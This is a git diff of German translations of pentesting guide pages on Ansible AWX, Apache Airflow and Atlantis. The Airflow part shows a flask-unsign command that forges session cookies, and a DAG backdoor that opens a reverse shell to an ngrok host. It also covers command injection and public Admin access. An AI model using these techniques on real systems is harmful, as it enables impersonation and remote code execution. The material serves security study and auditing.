Translated ['src/banners/hacktricks-training.md', 'src/pentesting-ci-cd/

2026-07-02 19:10:06 -07:00 · 2025-01-02 01:25:02 +00:00
parent c0ee8b41f2
commit ff7e659f3f
209 changed files with 1994 additions and 1989 deletions
@@ -1,10 +1,10 @@
-# Ansible Tower / AWX / Automation controller Sicherheit
+# Ansible Tower / AWX / Automation Controller Sicherheit

 {{#include ../banners/hacktricks-training.md}}

 ## Grundinformationen

-**Ansible Tower** oder seine Open-Source-Version [**AWX**](https://github.com/ansible/awx) ist auch bekannt als **Ansible Benutzeroberfläche, Dashboard und REST API**. Mit **rollenbasiertem Zugriffskontrolle**, Jobplanung und grafischer Inventarverwaltung können Sie Ihre Ansible-Infrastruktur über eine moderne Benutzeroberfläche verwalten. Die REST API von Tower und die Befehlszeilenschnittstelle machen es einfach, sie in aktuelle Tools und Workflows zu integrieren.
+**Ansible Tower** oder seine Open-Source-Version [**AWX**](https://github.com/ansible/awx) ist auch bekannt als **Ansible-Benutzeroberfläche, Dashboard und REST-API**. Mit **rollenbasiertem Zugriffskontrolle**, Jobplanung und grafischer Inventarverwaltung können Sie Ihre Ansible-Infrastruktur über eine moderne Benutzeroberfläche verwalten. Die REST-API von Tower und die Befehlszeilenschnittstelle machen es einfach, sie in aktuelle Tools und Workflows zu integrieren.

 **Automation Controller ist eine neuere** Version von Ansible Tower mit mehr Funktionen.

@@ -15,7 +15,7 @@ Laut [**diesem**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65
 ### Tech-Stack

 - **Weboberfläche**: Dies ist die grafische Oberfläche, über die Benutzer Inventare, Anmeldeinformationen, Vorlagen und Jobs verwalten können. Sie ist so gestaltet, dass sie intuitiv ist und Visualisierungen bietet, um den Zustand und die Ergebnisse Ihrer Automatisierungsjobs zu verstehen.
- **REST API**: Alles, was Sie in der Weboberfläche tun können, können Sie auch über die REST API tun. Das bedeutet, dass Sie AWX/Tower mit anderen Systemen integrieren oder Aktionen skripten können, die Sie normalerweise in der Benutzeroberfläche ausführen würden.
+- **REST-API**: Alles, was Sie in der Weboberfläche tun können, können Sie auch über die REST-API tun. Das bedeutet, dass Sie AWX/Tower mit anderen Systemen integrieren oder Aktionen skripten können, die Sie normalerweise in der Benutzeroberfläche ausführen würden.
 - **Datenbank**: AWX/Tower verwendet eine Datenbank (typischerweise PostgreSQL), um seine Konfiguration, Jobresultate und andere notwendige Betriebsdaten zu speichern.
 - **RabbitMQ**: Dies ist das Messaging-System, das von AWX/Tower verwendet wird, um zwischen den verschiedenen Komponenten zu kommunizieren, insbesondere zwischen dem Webdienst und den Aufgabenläufern.
 - **Redis**: Redis dient als Cache und Backend für die Aufgabenwarteschlange.
@@ -24,32 +24,32 @@ Laut [**diesem**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65

 - **Inventare**: Ein Inventar ist eine **Sammlung von Hosts (oder Knoten)**, gegen die **Jobs** (Ansible-Playbooks) **ausgeführt** werden können. AWX/Tower ermöglicht es Ihnen, Ihre Inventare zu definieren und zu gruppieren und unterstützt auch dynamische Inventare, die **Hostlisten aus anderen Systemen** wie AWS, Azure usw. abrufen können.
 - **Projekte**: Ein Projekt ist im Wesentlichen eine **Sammlung von Ansible-Playbooks**, die aus einem **Versionskontrollsystem** (wie Git) stammen, um die neuesten Playbooks bei Bedarf abzurufen.
- **Vorlagen**: Jobvorlagen definieren, **wie ein bestimmtes Playbook ausgeführt wird**, indem sie das **Inventar**, die **Anmeldeinformationen** und andere **Parameter** für den Job angeben.
+- **Vorlagen**: Jobvorlagen definieren, **wie ein bestimmtes Playbook ausgeführt wird**, und geben das **Inventar**, **Anmeldeinformationen** und andere **Parameter** für den Job an.
 - **Anmeldeinformationen**: AWX/Tower bietet eine sichere Möglichkeit, **Geheimnisse wie SSH-Schlüssel, Passwörter und API-Tokens zu verwalten und zu speichern**. Diese Anmeldeinformationen können mit Jobvorlagen verknüpft werden, sodass Playbooks beim Ausführen den erforderlichen Zugriff haben.
- **Aufgaben-Engine**: Hier passiert die Magie. Die Aufgaben-Engine basiert auf Ansible und ist verantwortlich für das **Ausführen der Playbooks**. Jobs werden an die Aufgaben-Engine übergeben, die dann die Ansible-Playbooks gegen das festgelegte Inventar mit den angegebenen Anmeldeinformationen ausführt.
+- **Aufgaben-Engine**: Hier geschieht die Magie. Die Aufgaben-Engine basiert auf Ansible und ist verantwortlich für das **Ausführen der Playbooks**. Jobs werden an die Aufgaben-Engine übergeben, die dann die Ansible-Playbooks gegen das festgelegte Inventar mit den angegebenen Anmeldeinformationen ausführt.
 - **Planer und Rückrufe**: Dies sind erweiterte Funktionen in AWX/Tower, die es ermöglichen, **Jobs zu bestimmten Zeiten zu planen** oder durch externe Ereignisse ausgelöst zu werden.
- **Benachrichtigungen**: AWX/Tower kann Benachrichtigungen basierend auf dem Erfolg oder Misserfolg von Jobs senden. Es unterstützt verschiedene Benachrichtigungsmethoden wie E-Mails, Slack-Nachrichten, Webhooks usw.
+- **Benachrichtigungen**: AWX/Tower kann Benachrichtigungen basierend auf dem Erfolg oder Misserfolg von Jobs senden. Es unterstützt verschiedene Arten von Benachrichtigungen wie E-Mails, Slack-Nachrichten, Webhooks usw.
 - **Ansible-Playbooks**: Ansible-Playbooks sind Konfigurations-, Bereitstellungs- und Orchestrierungstools. Sie beschreiben den gewünschten Zustand von Systemen auf automatisierte, wiederholbare Weise. In YAML geschrieben, verwenden Playbooks Ansible's deklarative Automatisierungssprache, um Konfigurationen, Aufgaben und Schritte zu beschreiben, die ausgeführt werden müssen.

 ### Jobausführungsfluss

-1. **Benutzerinteraktion**: Ein Benutzer kann über die **Weboberfläche** oder die **REST API** mit AWX/Tower interagieren. Diese bieten Front-End-Zugriff auf alle von AWX/Tower angebotenen Funktionen.
+1. **Benutzerinteraktion**: Ein Benutzer kann mit AWX/Tower entweder über die **Weboberfläche** oder die **REST-API** interagieren. Diese bieten Front-End-Zugriff auf alle von AWX/Tower angebotenen Funktionen.
 2. **Jobinitiierung**:
 - Der Benutzer initiiert über die Weboberfläche oder API einen Job basierend auf einer **Jobvorlage**.
- Die Jobvorlage enthält Verweise auf das **Inventar**, das **Projekt** (das das Playbook enthält) und die **Anmeldeinformationen**.
+- Die Jobvorlage enthält Verweise auf das **Inventar**, **Projekt** (das das Playbook enthält) und **Anmeldeinformationen**.
 - Bei der Jobinitiierung wird eine Anfrage an das AWX/Tower-Backend gesendet, um den Job zur Ausführung in die Warteschlange zu stellen.
 3. **Jobwarteschlange**:
- **RabbitMQ** verwaltet die Nachrichtenübertragung zwischen der Webkomponente und den Aufgabenläufern. Sobald ein Job initiiert wird, wird eine Nachricht an die Aufgaben-Engine über RabbitMQ gesendet.
- **Redis** fungiert als Backend für die Aufgabenwarteschlange und verwaltet die in der Warteschlange stehenden Jobs, die auf die Ausführung warten.
+- **RabbitMQ** verwaltet die Nachrichten zwischen der Webkomponente und den Aufgabenläufern. Sobald ein Job initiiert wird, wird eine Nachricht an die Aufgaben-Engine über RabbitMQ gesendet.
+- **Redis** fungiert als Backend für die Aufgabenwarteschlange und verwaltet die in der Warteschlange befindlichen Jobs, die auf die Ausführung warten.
 4. **Jobausführung**:
- Die **Aufgaben-Engine** nimmt den in der Warteschlange stehenden Job auf. Sie ruft die erforderlichen Informationen aus der **Datenbank** über das mit dem Job verbundene Playbook, Inventar und die Anmeldeinformationen ab.
+- Die **Aufgaben-Engine** nimmt den in der Warteschlange befindlichen Job auf. Sie ruft die erforderlichen Informationen aus der **Datenbank** über das mit dem Job verbundene Playbook, Inventar und die Anmeldeinformationen ab.
 - Mit dem abgerufenen Ansible-Playbook aus dem zugehörigen **Projekt** führt die Aufgaben-Engine das Playbook gegen die angegebenen **Inventar**-Knoten mit den bereitgestellten **Anmeldeinformationen** aus.
 - Während das Playbook ausgeführt wird, werden die Ausführungsprotokolle (Logs, Fakten usw.) erfasst und in der **Datenbank** gespeichert.
 5. **Jobergebnisse**:
 - Sobald das Playbook die Ausführung abgeschlossen hat, werden die Ergebnisse (Erfolg, Misserfolg, Protokolle) in der **Datenbank** gespeichert.
- Benutzer können die Ergebnisse dann über die Weboberfläche einsehen oder sie über die REST API abfragen.
- Basierend auf den Jobergebnissen können **Benachrichtigungen** versendet werden, um Benutzer oder externe Systeme über den Status des Jobs zu informieren. Benachrichtigungen können E-Mails, Slack-Nachrichten, Webhooks usw. sein.
-6. **Integration externer Systeme**:
+- Benutzer können die Ergebnisse dann über die Weboberfläche einsehen oder über die REST-API abfragen.
+- Basierend auf den Ergebnissen der Jobs können **Benachrichtigungen** versendet werden, um Benutzer oder externe Systeme über den Status des Jobs zu informieren. Benachrichtigungen können E-Mails, Slack-Nachrichten, Webhooks usw. sein.
+6. **Integration mit externen Systemen**:
 - **Inventare** können dynamisch aus externen Systemen bezogen werden, sodass AWX/Tower Hosts aus Quellen wie AWS, Azure, VMware und mehr abrufen kann.
 - **Projekte** (Playbooks) können aus Versionskontrollsystemen abgerufen werden, um sicherzustellen, dass während der Jobausführung aktuelle Playbooks verwendet werden.
 - **Planer und Rückrufe** können verwendet werden, um mit anderen Systemen oder Tools zu integrieren, sodass AWX/Tower auf externe Auslöser reagiert oder Jobs zu festgelegten Zeiten ausführt.
@@ -86,9 +86,9 @@ docker exec tools_awx_1 awx-manage create_preload_data

 ### Unterstützte Rollen

-Die privilegierteste Rolle wird **Systemadministrator** genannt. Jeder mit dieser Rolle kann **alles ändern**.
+Die privilegierteste Rolle wird als **Systemadministrator** bezeichnet. Jeder mit dieser Rolle kann **alles ändern**.

-Für eine **White-Box-Sicherheits**-Überprüfung benötigen Sie die **Systemauditorrolle**, die es ermöglicht, **alle Systemdaten anzuzeigen**, aber keine Änderungen vorzunehmen. Eine andere Möglichkeit wäre, die **Organisationsauditorrolle** zu erhalten, aber es wäre besser, die andere zu bekommen.
+Für eine **White-Box-Sicherheits**-Überprüfung benötigen Sie die **Systemauditorrolle**, die es ermöglicht, **alle Systemdaten anzuzeigen**, aber keine Änderungen vorzunehmen. Eine andere Option wäre, die **Organisationsauditorrolle** zu erhalten, aber es wäre besser, die andere zu bekommen.

 <details>

@@ -102,7 +102,7 @@ Für eine **White-Box-Sicherheits**-Überprüfung benötigen Sie die **Systemaud
 - Diese Rolle ist für Compliance und Aufsicht konzipiert.
 3. **Organisationsrollen**:
 - **Admin**: Vollständige Kontrolle über die Ressourcen der Organisation.
- **Auditor**: Nur Lesezugriff auf die Ressourcen der Organisation.
+- **Auditor**: Nur-Lese-Zugriff auf die Ressourcen der Organisation.
 - **Mitglied**: Grundlegende Mitgliedschaft in einer Organisation ohne spezifische Berechtigungen.
 - **Ausführen**: Kann Jobvorlagen innerhalb der Organisation ausführen.
 - **Lesen**: Kann die Ressourcen der Organisation anzeigen.
@@ -115,22 +115,22 @@ Für eine **White-Box-Sicherheits**-Überprüfung benötigen Sie die **Systemaud
 - **Ad Hoc**: Kann Ad-hoc-Befehle im Inventar ausführen.
 - **Aktualisieren**: Kann die Inventarquelle aktualisieren.
 - **Verwenden**: Kann das Inventar in einer Jobvorlage verwenden.
- **Lesen**: Nur Lesezugriff.
+- **Lesen**: Nur-Lese-Zugriff.
 6. **Jobvorlagenrollen**:
 - **Admin**: Kann die Jobvorlage verwalten und ändern.
 - **Ausführen**: Kann den Job ausführen.
- **Lesen**: Nur Lesezugriff.
+- **Lesen**: Nur-Lese-Zugriff.
 7. **Berechtigungsrollen**:
 - **Admin**: Kann die Berechtigungen verwalten und ändern.
 - **Verwenden**: Kann die Berechtigungen in Jobvorlagen oder anderen relevanten Ressourcen verwenden.
- **Lesen**: Nur Lesezugriff.
+- **Lesen**: Nur-Lese-Zugriff.
 8. **Teamrollen**:
 - **Mitglied**: Teil des Teams, aber ohne spezifische Berechtigungen.
 - **Admin**: Kann die Mitglieder des Teams und die zugehörigen Ressourcen verwalten.
 9. **Workflow-Rollen**:
 - **Admin**: Kann den Workflow verwalten und ändern.
 - **Ausführen**: Kann den Workflow ausführen.
- **Lesen**: Nur Lesezugriff.
+- **Lesen**: Nur-Lese-Zugriff.

 </details>

@@ -1,18 +1,18 @@
-# Apache Airflow Security
+# Apache Airflow Sicherheit

 {{#include ../../banners/hacktricks-training.md}}

-### Grundlegende Informationen
+### Grundinformationen

-[**Apache Airflow**](https://airflow.apache.org) dient als Plattform zum **Orchestrieren und Planen von Datenpipelines oder Workflows**. Der Begriff "Orchestrierung" im Kontext von Datenpipelines bezeichnet den Prozess des Anordnens, Koordinierens und Verwaltens komplexer Daten-Workflows, die aus verschiedenen Quellen stammen. Der Hauptzweck dieser orchestrierten Datenpipelines besteht darin, verarbeitete und konsumierbare Datensätze bereitzustellen. Diese Datensätze werden von einer Vielzahl von Anwendungen umfassend genutzt, einschließlich, aber nicht beschränkt auf Business-Intelligence-Tools, Datenwissenschafts- und Machine-Learning-Modelle, die alle grundlegend für das Funktionieren von Big-Data-Anwendungen sind.
+[**Apache Airflow**](https://airflow.apache.org) dient als Plattform zum **Orchestrieren und Planen von Datenpipelines oder Workflows**. Der Begriff "Orchestrierung" im Kontext von Datenpipelines bezeichnet den Prozess des Arrangierens, Koordinierens und Verwaltens komplexer Daten-Workflows, die aus verschiedenen Quellen stammen. Der Hauptzweck dieser orchestrierten Datenpipelines besteht darin, verarbeitete und konsumierbare Datensätze bereitzustellen. Diese Datensätze werden von einer Vielzahl von Anwendungen umfassend genutzt, einschließlich, aber nicht beschränkt auf Business-Intelligence-Tools, Datenwissenschafts- und Machine-Learning-Modelle, die alle grundlegend für das Funktionieren von Big-Data-Anwendungen sind.

-Im Grunde genommen ermöglicht es Apache Airflow, die **Ausführung von Code zu planen, wenn etwas** (Ereignis, Cron) **passiert**.
+Im Grunde wird Apache Airflow Ihnen ermöglichen, **die Ausführung von Code zu planen, wenn etwas** (Ereignis, Cron) **passiert**.

 ### Lokales Labor

 #### Docker-Compose

-Sie können die **docker-compose-Konfigurationsdatei von** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) verwenden, um eine vollständige Apache Airflow-Docker-Umgebung zu starten. (Wenn Sie MacOS verwenden, stellen Sie sicher, dass Sie der Docker-VM mindestens 6 GB RAM zuweisen).
+Sie können die **docker-compose-Konfigurationsdatei von** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) verwenden, um eine vollständige Apache Airflow-Docker-Umgebung zu starten. (Wenn Sie auf MacOS sind, stellen Sie sicher, dass Sie der Docker-VM mindestens 6 GB RAM zuweisen).

 #### Minikube

@@ -28,7 +28,7 @@ helm delete airflow-release
 ```
 ### Airflow-Konfiguration

-Airflow könnte **sensible Informationen** in seiner Konfiguration speichern oder Sie könnten schwache Konfigurationen finden:
+Airflow könnte **sensible Informationen** in seiner Konfiguration speichern oder Sie können schwache Konfigurationen finden:

 {{#ref}}
 airflow-configuration.md
@@ -44,25 +44,25 @@ airflow-rbac.md

 ### Angriffe

-#### Webkonsole Aufzählung
+#### Webkonsole Enumeration

 Wenn Sie **Zugriff auf die Webkonsole** haben, könnten Sie in der Lage sein, einige oder alle der folgenden Informationen zuzugreifen:

- **Variablen** (Benutzerdefinierte sensible Informationen könnten hier gespeichert sein)
- **Verbindungen** (Benutzerdefinierte sensible Informationen könnten hier gespeichert sein)
- Greifen Sie darauf zu in `http://<airflow>/connection/list/`
- [**Konfiguration**](./#airflow-configuration) (Sensible Informationen wie der **`secret_key`** und Passwörter könnten hier gespeichert sein)
+- **Variablen** (Benutzerdefinierte sensible Informationen könnten hier gespeichert werden)
+- **Verbindungen** (Benutzerdefinierte sensible Informationen könnten hier gespeichert werden)
+- Greifen Sie darauf zu unter `http://<airflow>/connection/list/`
+- [**Konfiguration**](./#airflow-configuration) (Sensible Informationen wie der **`secret_key`** und Passwörter könnten hier gespeichert werden)
 - Liste der **Benutzer & Rollen**
 - **Code jedes DAG** (der interessante Informationen enthalten könnte)

 #### Abrufen von Variablenwerten

-Variablen können in Airflow gespeichert werden, damit die **DAGs** ihre Werte **zugreifen** können. Es ist ähnlich wie bei Geheimnissen anderer Plattformen. Wenn Sie **genug Berechtigungen** haben, können Sie sie in der GUI unter `http://<airflow>/variable/list/` abrufen.\
-Airflow zeigt standardmäßig den Wert der Variablen in der GUI an, jedoch ist es laut [**diesem**](https://marclamberti.com/blog/variables-with-apache-airflow/) möglich, eine **Liste von Variablen** festzulegen, deren **Wert** als **Sternchen** in der **GUI** angezeigt wird.
+Variablen können in Airflow gespeichert werden, damit die **DAGs** auf ihre Werte **zugreifen** können. Es ist ähnlich wie bei Geheimnissen anderer Plattformen. Wenn Sie **genug Berechtigungen** haben, können Sie sie in der GUI unter `http://<airflow>/variable/list/` abrufen.\
+Airflow zeigt standardmäßig den Wert der Variablen in der GUI an, jedoch ist es laut [**dieser**](https://marclamberti.com/blog/variables-with-apache-airflow/) möglich, eine **Liste von Variablen** festzulegen, deren **Wert** in der **GUI** als **Sternchen** angezeigt wird.

 ![](<../../images/image (164).png>)

-Diese **Werte** können jedoch weiterhin über **CLI** (Sie müssen DB-Zugriff haben), **willkürliche DAG**-Ausführung, **API**, die auf den Variablen-Endpunkt zugreift (die API muss aktiviert sein), und **sogar die GUI selbst!**\
+Diese **Werte** können jedoch weiterhin über **CLI** (Sie müssen DB-Zugriff haben), **willkürliche DAG**-Ausführung, **API**-Zugriff auf den Variablen-Endpunkt (die API muss aktiviert sein) und **sogar die GUI selbst!** abgerufen werden.\
 Um auf diese Werte über die GUI zuzugreifen, wählen Sie einfach die **Variablen** aus, auf die Sie zugreifen möchten, und **klicken Sie auf Aktionen -> Exportieren**.\
 Eine andere Möglichkeit besteht darin, einen **Bruteforce** auf den **versteckten Wert** durchzuführen, indem Sie die **Suchfilterung** verwenden, bis Sie ihn erhalten:

@@ -70,13 +70,13 @@ Eine andere Möglichkeit besteht darin, einen **Bruteforce** auf den **versteckt

 #### Privilegieneskalation

-Wenn die Konfiguration **`expose_config`** auf **True** gesetzt ist, können Benutzer ab der **Rolle Benutzer** und **darüber** die **Konfiguration im Web** **lesen**. In dieser Konfiguration erscheint der **`secret_key`**, was bedeutet, dass jeder Benutzer mit diesem gültigen Schlüssel **seinen eigenen signierten Cookie erstellen kann, um sich als ein anderer Benutzeraccount auszugeben**.
+Wenn die Konfiguration **`expose_config`** auf **True** gesetzt ist, können Benutzer ab der **Rolle Benutzer** und **darüber hinaus** die **Konfiguration im Web** **lesen**. In dieser Konfiguration erscheint der **`secret_key`**, was bedeutet, dass jeder Benutzer mit diesem gültigen Schlüssel **seinen eigenen signierten Cookie erstellen kann, um sich als ein anderer Benutzeraccount auszugeben**.
 ```bash
 flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"
 ```
-#### DAG-Hintertür (RCE im Airflow-Worker)
+#### DAG Backdoor (RCE in Airflow worker)

-Wenn Sie **Schreibzugriff** auf den Ort haben, an dem die **DAGs gespeichert sind**, können Sie einfach **eine erstellen**, die Ihnen eine **Reverse-Shell** sendet.\
+Wenn Sie **Schreibzugriff** auf den Ort haben, an dem die **DAGs gespeichert** sind, können Sie einfach **einen erstellen**, der Ihnen eine **Reverse-Shell** sendet.\
 Beachten Sie, dass diese Reverse-Shell innerhalb eines **Airflow-Worker-Containers** ausgeführt wird:
 ```python
 import pendulum
@@ -144,9 +144,9 @@ op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
 ```
 #### DAG-Erstellung

-Wenn es Ihnen gelingt, **eine Maschine im DAG-Cluster zu kompromittieren**, können Sie neue **DAG-Skripte** im Ordner `dags/` erstellen, und sie werden **in den restlichen Maschinen** im DAG-Cluster **repliziert**.
+Wenn es Ihnen gelingt, **eine Maschine im DAG-Cluster zu kompromittieren**, können Sie neue **DAG-Skripte** im `dags/`-Ordner erstellen, und sie werden **im Rest der Maschinen** im DAG-Cluster **repliziert**.

-#### DAG-Code-Injektion
+#### DAG-Code-Injection

 Wenn Sie einen DAG über die GUI ausführen, können Sie **Argumente** an ihn **übergeben**.\
 Daher könnte der DAG, wenn er nicht ordnungsgemäß codiert ist, **anfällig für Command Injection** sein.\
@@ -154,7 +154,7 @@ Das ist, was in diesem CVE passiert ist: [https://www.exploit-db.com/exploits/49

 Alles, was Sie wissen müssen, um **nach Command Injections in DAGs zu suchen**, ist, dass **Parameter** mit dem Code **`dag_run.conf.get("param_name")`** **zugegriffen** werden.

-Darüber hinaus könnte die gleiche Verwundbarkeit auch bei **Variablen** auftreten (beachten Sie, dass Sie mit ausreichenden Rechten **den Wert der Variablen** in der GUI **steuern** könnten). Variablen werden **mit** zugegriffen:
+Darüber hinaus könnte die gleiche Verwundbarkeit auch bei **Variablen** auftreten (beachten Sie, dass Sie mit ausreichenden Rechten **den Wert der Variablen** in der GUI **steuern** könnten). Variablen werden **zugegriffen mit**:
 ```python
 from airflow.models import Variable
 [...]
@@ -27,39 +27,39 @@ Einige interessante Werte, die Sie beim Lesen der Konfigurationsdatei überprüf
 - `airflow.api.auth.backend.basic_auth`: Für **Basis-Authentifizierung**.
 - `airflow.composer.api.backend.composer_auth`: Verwendet die Authentifizierung von Composern (GCP) (von [**hier**](https://cloud.google.com/composer/docs/access-airflow-api)).
 - `composer_auth_user_registration_role`: Dies gibt die **Rolle** an, die der **Composer-Benutzer** innerhalb von **Airflow** erhält (**Op** standardmäßig).
- Sie können auch eine **eigene Authentifizierung**-Methode mit Python erstellen.
+- Sie können auch **Ihre eigene Authentifizierung**smethode mit Python erstellen.
 - **`google_key_path`:** Pfad zum **GCP-Dienstkonto-Schlüssel**.

 ### **\[atlas]**

- **`password`**: Atlas-Passwort
- **`username`**: Atlas-Benutzername
+- **`password`**: Atlas-Passwort.
+- **`username`**: Atlas-Benutzername.

 ### \[celery]

- **`flower_basic_auth`** : Anmeldeinformationen (_user1:password1,user2:password2_)
+- **`flower_basic_auth`** : Anmeldeinformationen (_user1:password1,user2:password2_).
 - **`result_backend`**: Postgres-URL, die **Anmeldeinformationen** enthalten kann.
- **`ssl_cacert`**: Pfad zum cacert
- **`ssl_cert`**: Pfad zum Zertifikat
- **`ssl_key`**: Pfad zum Schlüssel
+- **`ssl_cacert`**: Pfad zum cacert.
+- **`ssl_cert`**: Pfad zum Zertifikat.
+- **`ssl_key`**: Pfad zum Schlüssel.

 ### \[core]

 - **`dag_discovery_safe_mode`**: Standardmäßig aktiviert. Beim Entdecken von DAGs werden alle Dateien ignoriert, die nicht die Zeichenfolgen `DAG` und `airflow` enthalten.
- **`fernet_key`**: Schlüssel zum Speichern von verschlüsselten Variablen (symmetrisch).
+- **`fernet_key`**: Schlüssel zum Speichern verschlüsselter Variablen (symmetrisch).
 - **`hide_sensitive_var_conn_fields`**: Standardmäßig aktiviert, verbirgt sensible Informationen zu Verbindungen.
 - **`security`**: Welches Sicherheitsmodul verwendet werden soll (zum Beispiel Kerberos).

 ### \[dask]

- **`tls_ca`**: Pfad zur CA
- **`tls_cert`**: Pfad zum Zertifikat
- **`tls_key`**: Pfad zum TLS-Schlüssel
+- **`tls_ca`**: Pfad zur CA.
+- **`tls_cert`**: Pfad zum Zertifikat.
+- **`tls_key`**: Pfad zum TLS-Schlüssel.

 ### \[kerberos]

- **`ccache`**: Pfad zur ccache-Datei
- **`forwardable`**: Standardmäßig aktiviert
+- **`ccache`**: Pfad zur ccache-Datei.
+- **`forwardable`**: Standardmäßig aktiviert.

 ### \[logging]

@@ -72,8 +72,8 @@ Einige interessante Werte, die Sie beim Lesen der Konfigurationsdatei überprüf

 ### \[smtp]

- **`smtp_password`**: SMTP-Passwort
- **`smtp_user`**: SMTP-Benutzer
+- **`smtp_password`**: SMTP-Passwort.
+- **`smtp_user`**: SMTP-Benutzer.

 ### \[webserver]

@@ -92,13 +92,13 @@ Standardmäßig ist die **Web-Authentifizierung** in der Datei **`webserver_conf
 ```bash
 AUTH_TYPE = AUTH_DB
 ```
-Was bedeutet, dass die **Authentifizierung gegen die Datenbank überprüft wird**. Andere Konfigurationen sind jedoch möglich, wie
+Was bedeutet, dass die **Authentifizierung gegen die Datenbank überprüft wird**. Es sind jedoch auch andere Konfigurationen möglich, wie
 ```bash
 AUTH_TYPE = AUTH_OAUTH
 ```
 Um die **Authentifizierung an Drittanbieterdienste** zu übergeben.

-Es gibt jedoch auch eine Option, um **anonymen Benutzern den Zugriff zu erlauben**, indem der folgende Parameter auf die **gewünschte Rolle** gesetzt wird:
+Es gibt jedoch auch eine Option, **anonymen Benutzern den Zugriff zu erlauben**, indem der folgende Parameter auf die **gewünschte Rolle** gesetzt wird:
 ```bash
 AUTH_ROLE_PUBLIC = 'Admin'
 ```
@@ -4,15 +4,15 @@

 ## RBAC

-(Von den Dokumenten)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow wird mit einem **Standardset von Rollen** ausgeliefert: **Admin**, **User**, **Op**, **Viewer** und **Public**. **Nur `Admin`**-Benutzer können **die Berechtigungen für andere Rollen konfigurieren/ändern**. Es wird jedoch nicht empfohlen, dass `Admin`-Benutzer diese Standardrollen in irgendeiner Weise ändern, indem sie Berechtigungen für diese Rollen entfernen oder hinzufügen.
+(From the docs)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow wird standardmäßig mit einem **Set von Rollen** ausgeliefert: **Admin**, **User**, **Op**, **Viewer** und **Public**. **Nur `Admin`**-Benutzer können **die Berechtigungen für andere Rollen konfigurieren/ändern**. Es wird jedoch nicht empfohlen, dass `Admin`-Benutzer diese Standardrollen in irgendeiner Weise ändern, indem sie Berechtigungen für diese Rollen entfernen oder hinzufügen.

 - **`Admin`**-Benutzer haben alle möglichen Berechtigungen.
 - **`Public`**-Benutzer (anonym) haben keine Berechtigungen.
 - **`Viewer`**-Benutzer haben eingeschränkte Ansichtsberechtigungen (nur lesen). Er **kann die Konfiguration nicht sehen.**
 - **`User`**-Benutzer haben `Viewer`-Berechtigungen plus zusätzliche Benutzerberechtigungen, die es ihm ermöglichen, DAGs ein wenig zu verwalten. Er **kann die Konfigurationsdatei sehen.**
- **`Op`**-Benutzer haben `User`-Berechtigungen plus zusätzliche Betriebsberechtigungen.
+- **`Op`**-Benutzer haben `User`-Berechtigungen plus zusätzliche Op-Berechtigungen.

-Beachten Sie, dass **Admin**-Benutzer **weitere Rollen** mit **detaillierteren Berechtigungen** erstellen können.
+Beachten Sie, dass **Admin**-Benutzer **weitere Rollen** mit **feineren Berechtigungen** erstellen können.

 Beachten Sie auch, dass die einzige Standardrolle mit **Berechtigung zur Auflistung von Benutzern und Rollen Admin ist, nicht einmal Op** wird in der Lage sein, dies zu tun.

@@ -4,27 +4,27 @@

 ### Grundinformationen

-Atlantis hilft Ihnen im Grunde, Terraform aus Pull Requests von Ihrem Git-Server auszuführen.
+Atlantis hilft Ihnen im Grunde, Terraform von Pull Requests von Ihrem Git-Server auszuführen.

 ![](<../images/image (161).png>)

 ### Lokales Labor

-1. Gehen Sie zur **Atlantis-Release-Seite** in [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) und **laden** Sie die passende Version herunter.
+1. Gehen Sie zur **Atlantis-Release-Seite** in [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) und **laden Sie** die passende Version herunter.
 2. Erstellen Sie ein **persönliches Token** (mit Repo-Zugriff) Ihres **GitHub**-Benutzers.
 3. Führen Sie `./atlantis testdrive` aus, und es wird ein **Demo-Repo** erstellt, das Sie verwenden können, um mit Atlantis zu **kommunizieren**.
-4. Sie können die Webseite unter 127.0.0.1:4141 aufrufen.
+1. Sie können die Webseite unter 127.0.0.1:4141 aufrufen.

 ### Atlantis-Zugriff

 #### Git-Server-Anmeldeinformationen

-**Atlantis** unterstützt mehrere Git-Hosts wie **Github**, **Gitlab**, **Bitbucket** und **Azure DevOps**.\
+**Atlantis** unterstützt mehrere Git-Hosts wie **GitHub**, **GitLab**, **Bitbucket** und **Azure DevOps**.\
 Um jedoch auf die Repos auf diesen Plattformen zuzugreifen und Aktionen durchzuführen, muss ihm **privilegierter Zugriff gewährt werden** (mindestens Schreibberechtigungen).\
 [**Die Dokumentation**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) empfiehlt, einen Benutzer auf diesen Plattformen speziell für Atlantis zu erstellen, aber einige Personen verwenden möglicherweise persönliche Konten.

 > [!WARNING]
-> Aus der Sicht eines Angreifers wird das **Atlantis-Konto** sehr **interessant** sein, um es **zu kompromittieren**.
+> Aus der Perspektive eines Angreifers wird das **Atlantis-Konto** sehr **interessant** sein, **kompromittiert zu werden**.

 #### Webhooks

@@ -35,36 +35,36 @@ Eine Möglichkeit, dies zu bestätigen, wäre, **Anfragen nur von den IPs** Ihre
 Beachten Sie, dass Sie, es sei denn, Sie verwenden einen privaten GitHub- oder Bitbucket-Server, Webhook-Endpunkte ins Internet exponieren müssen.

 > [!WARNING]
-> Atlantis wird **Webhooks exponieren**, damit der Git-Server ihm Informationen senden kann. Aus der Sicht eines Angreifers wäre es interessant zu wissen, **ob Sie ihm Nachrichten senden können**.
+> Atlantis wird **Webhooks exponieren**, damit der Git-Server ihm Informationen senden kann. Aus der Perspektive eines Angreifers wäre es interessant zu wissen, **ob Sie ihm Nachrichten senden können**.

